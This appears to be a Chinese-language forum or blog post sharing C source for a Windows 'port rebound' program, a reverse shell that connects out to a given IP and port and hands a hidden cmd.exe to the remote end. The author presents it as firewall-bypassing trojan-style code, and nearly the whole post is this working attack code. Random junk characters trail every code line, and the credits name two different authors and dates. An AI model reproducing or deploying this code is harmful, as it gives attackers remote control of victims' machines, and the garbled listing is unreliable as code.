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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Gru ALx7  
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/* ============================== '9q6aM/&  
Rebound port in Windows NT [cpNiw4e  
By wind,2006/7 L|\Diap  
===============================*/ +)gB9DoK  
#include O-!,Jm   
#include  `{}@@]  
&J(!8y*QyE  
#pragma comment(lib,"wsock32.lib") v3-?CQb(  
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void OutputShell(); \_U*t!  
SOCKET sClient; &t_h'JX&  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; c#pj:f*H  
(.Xr#;\(  
void main(int argc,char **argv) t)r1"oA  
{ PAoX$q  
WSADATA stWsaData; o , LK[Q  
int nRet; ?OsS`)T  
SOCKADDR_IN stSaiClient,stSaiServer; y x;h  
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if(argc != 3) %h/! Y<%  
{ MGybGbd  
printf("Useage:\n\rRebound DestIP DestPort\n"); @a(oB.i  
return; asz?p\k:bC  
} }\Z5{OA  
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WSAStartup(MAKEWORD(2,2),&stWsaData); eqhAus?)  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ps+:</;Z  
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stSaiClient.sin_family = AF_INET; y<M]dd$  
stSaiClient.sin_port = htons(0); :hP58 }Q$  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); !01i%W'  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) eP= j.$  
{ tcOnM w  
printf("Bind Socket Failed!\n"); {D,RU8&  
return; l%<c6;  
} 6LM9e0oxy  
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stSaiServer.sin_family = AF_INET; 8 u:2,l  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); oMc1:=EG  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 40.AM1Z0f  
hdg<bZk:  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) TzrW   
{ VDiOO  
printf("Connect Error!"); s0!kwrBsp  
return; !Uy>eji}  
} o4~kX  
OutputShell(); _FsB6 G]mc  
} =4>@8=JA  
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void OutputShell() 0b++ 17aV  
{ LyP`{_"CM  
char szBuff[1024]; OjATSmZ@@  
SECURITY_ATTRIBUTES stSecurityAttributes; 5/(sjMB  
OSVERSIONINFO stOsversionInfo; L[. <o{  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; F*\4l;NJ  
STARTUPINFO stStartupInfo; Z= ik{/  
char *szShell; 0WXVc  
PROCESS_INFORMATION stProcessInformation; ^ZVO ql&  
unsigned long lBytesRead; iNLDl~uU  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Wr#~GFg  
}4KW@L[g  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); qc&jd  
stSecurityAttributes.lpSecurityDescriptor = 0; UR,?!rJ^B  
stSecurityAttributes.bInheritHandle = TRUE; }.t^D|  
;qb Dbg  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); O! (85rp/  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); )Y[/!  
r0uJ$/!  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); S}mm\<=1  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +C5#$5];  
stStartupInfo.wShowWindow = SW_HIDE; &Ea"hd  
stStartupInfo.hStdInput = hReadPipe; tvCcyD%w  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; B!iFmkCy  
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GetVersionEx(&stOsversionInfo); xD^wTtT  
v^\JWPR/  
switch(stOsversionInfo.dwPlatformId) -)>(8f  
{ Rv,Mu3\~#c  
case 1: 0<3E  
szShell = "command.com"; yWmrdvL  
break; =-m(\ }  
default: ;Rs.rl>;t/  
szShell = "cmd.exe"; Q!`)e@r  
break; i0b.AA  
} hd8B0eD'  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); |+u+)C  
re/xs~  
send(sClient,szMsg,77,0); 9p4%8WhJ  
while(1) J ZA*{n2  
{ !*5_pGe  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); nPcxknl(pd  
if(lBytesRead) df^0{gNHx  
{ N6WPTUQ1mF  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Ca X^)  
send(sClient,szBuff,lBytesRead,0); hcQSB00D^  
} WX ,p`>n  
else jmSt?M0.xV  
{ )U]:9)   
lBytesRead=recv(sClient,szBuff,1024,0); )=y.^@UT@  
if(lBytesRead<=0) break; xUIvLH=  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); k{_1r;  
} 40R"^*  
} )dqR<)  
> CH  
return; >B`Cch/ 'U  
}
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